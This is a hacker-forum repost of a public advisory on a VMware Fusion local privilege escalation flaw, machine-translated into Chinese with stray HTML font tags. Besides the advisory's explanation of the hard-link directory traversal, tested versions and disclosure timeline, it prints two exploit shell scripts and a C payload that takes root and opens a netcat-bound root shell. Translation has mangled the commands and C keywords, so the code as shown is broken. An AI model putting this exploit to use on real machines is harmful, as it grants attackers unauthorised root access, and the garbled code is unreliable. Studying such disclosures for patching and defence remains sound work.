• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

VMWare Fusion-本地特权升级漏洞


This Wind

Recommended Posts

发布内容作者:Grimm                                            漏洞危害等级:critlow_3.gif〔高〕

 

<font style="vertical-align: inherit;"><font style="vertical-align: inherit;">通过VMWare Fusion进行本地特权升级</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
概述:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
VMware Fusion SUID二进制文件中的目录遍历漏洞可能允许</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
攻击者以root用户身份运行命令。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
测试版本:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
* macOS 10.13.6上的VMware Fusion 10.1.3(9472307)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
* macOS 10.14.1上的VMware Fusion 11.0.0(10120384)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
* macOS 10.14.1上的VMware Fusion 11.0.2(10952296)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
* macOS 10.15.1上的VMware Fusion 11.5.0(14634996)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
* macOS 10.15.1上的VMware Fusion 11.5.1(15018442)</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
行使:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
1)确保VMware Fusion服务未运行。</font><font style="vertical-align: inherit;">如果打开,请退出VMware</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
   融合GUI。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2)运行漏洞利用脚本之一(exploit_fusion.sh或exploit_usb.sh)。</font><font style="vertical-align: inherit;">他们</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
   将一直运行,直到通过CTRL-c手动停止为止。</font><font style="vertical-align: inherit;">漏洞利用将开始</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
   以TCP端口3333为根的netcat侦听器。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
3)连接到netcat侦听器:nc 127.0.0.1 3333</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
细节:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
此漏洞是VMware Fusion内部的目录遍历错误。</font><font style="vertical-align: inherit;">一些</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
VMware Fusion中包含的程序中的一部分依赖于其在磁盘上的路径来查找</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
其他库,帮助程序实用程序和服务守护程序。</font><font style="vertical-align: inherit;">两个这样的实例</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
可以在“ Open VMware Fusion”中找到SUID程序中的此代码模式。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
服务”可执行文件和“ Open VMware USB Arbitrator服务”可执行文件。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
这些程序尝试通过查找文件来打开服务程序:</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
打开VMware Fusion Services:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
$ DIRECTORY_WITH_SUID_EXECUTABLE /../../../ Contents / Library / services / VMware Fusion Services</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
打开VMware USB仲裁器服务:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
$ DIRECTORY_WITH_SUID_EXECUTABLE /../../../ Contents / Library / services / VMware USB Arbitrator服务</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
通常这很好,因为任何复制程序的尝试都不会复制</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
文件的SUID所有权以及任何移动程序的尝试都会</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
如果没有超级用户访问权限,将失败。</font><font style="vertical-align: inherit;">此外,符号链接不会欺骗程序</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
使用新位置。</font><font style="vertical-align: inherit;">但是,在macOS上,非特权用户可以创建</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
硬链接到SUID可执行文件,这将欺骗程序。</font><font style="vertical-align: inherit;">因此,通过创建</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
适当的目录布局和与SUID程序的硬链接,我们可以欺骗</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
他们以root用户身份运行我们选择的可执行文件。</font><font style="vertical-align: inherit;">包含</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
exploit_usb.sh和exploit_fusion.sh脚本设置正确的目录</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
结构和硬链接,编译有效负载,并在其中运行链接的程序</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
为了以root身份在TCP端口3333上启动一个netcat侦听器。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
除了上面列出的两个SUID可执行文件之外,SUID可执行文件</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
“ vmware-authd”也容易受到此错误的影响。</font><font style="vertical-align: inherit;">vmware-authd尝试加载两个</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
库,libcrypto和libssl,来自错误的目录。</font><font style="vertical-align: inherit;">但是,两个</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
库必须由Apple或Apple分布式签名来签名</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
包含单词“ VMware”的组织的证书。</font><font style="vertical-align: inherit;">因此,这个错误</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
在vmware-authd中很难利用。</font><font style="vertical-align: inherit;">取决于Apple开发人员的严格程度</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
验证过程是,有可能愚弄Apple授予</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
通过将VMware隐藏在短语中(例如使用</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
永无止境的云服务公司(NVMware Inc)的证书。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
此漏洞的一个限制是这两个漏洞服务</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
如果服务已经在运行,则开启者将不会尝试打开其服务。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
因此,如果“ VMware USB Arbitrator服务”和</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
“ VMware Fusion Services”服务已在运行。</font><font style="vertical-align: inherit;">因此,如果VMware</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
Fusion GUI是开放的,无法利用此漏洞。</font><font style="vertical-align: inherit;">但是,关闭</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
GUI将停止与易受攻击的服务开启者相关的服务,并且</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
使漏洞再次被利用。</font><font style="vertical-align: inherit;">相反,图书馆</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
注射攻击不受这些限制(但需要</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
适当的证书)。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
附带说明一下,Linux上的VMware Workstation中也使用了易受攻击的代码。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
但是,Linux不允许非特权用户创建指向文件的硬链接</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
他们不拥有。</font><font style="vertical-align: inherit;">因此,该错误在VMware Workstation上无法利用</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
Linux。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
时间线:</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2019.11.12向VMware报告</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2019.12.18 VMware确认他们可以重现此问题</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2019.12.24要求状态更新,被告知我们将于1月初进行更新</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2020.01.08请求状态更新,已告知修复计划于2020年4月进行</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2020.01.15致电VMware讨论</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2020.01.21与VMware举行的后续会议进行讨论</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
2020.03.17 VMware发布补丁程序和公开披露</font></font><font></font>
<font></font>
<font></font>
<font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## exploit_fusion.sh</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#!/ bin / sh</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#重新制作必要的文件夹结构</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
rm -rf a目录</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
mkdir -p目录/库/服务/</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
mkdir -pa / b / c /</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#建立我们的有效载荷</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
clang payload.c -o“目录/库/服务/ VMware Fusion Services”</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#创建指向VMware SUID打开程序的硬链接</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
在/ Applications / VMware \ Fusion.app/Contents/Library/services/Open \ VMware \ Fusion \ Services a / b / c / linked</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#运行链接的程序,这会使它对路径感到困惑,并且</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#启动我们的有效载荷。</font><font style="vertical-align: inherit;">此外,如果我们的有效负载退出,VMware将重新启动</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#它</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
a / b / c /链接</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## exploit_fusion.sh EOF</font></font><font></font>
<font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## exploit_usb.sh</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#!/ bin / sh</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#重新制作必要的文件夹结构</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
rm -rf a目录</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
mkdir -p目录/库/服务/</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
mkdir -pa / b / c /</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#建立我们的有效载荷</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
clang payload.c -o“目录/库/服务/ VMware USB Arbitrator服务”</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#创建指向VMware SUID打开程序的硬链接</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
在/ Applications / VMware \ Fusion.app/Contents/Library/services/Open \ VMware \ USB \ Arbitrator \ Service a / b / c / linked</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#运行链接的程序,这会使它对路径感到困惑,并且</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#启动我们的有效载荷。</font><font style="vertical-align: inherit;">此外,如果我们的有效负载退出,VMware将重新启动</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#它</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
a / b / c /链接</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## exploit_usb.sh EOF</font></font><font></font>
<font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## payload.c</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#include <stdlib.h></font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#include <unistd.h></font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
int main(int argc,char ** argv){</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        setuid(0);</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        系统(“ rm -f / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2>&1 | nc -l 3333> / tmp / f”);</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        返回0;</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
}</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
```</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
## payload.c EOF</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
# [2020-03-20]#</font></font>

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now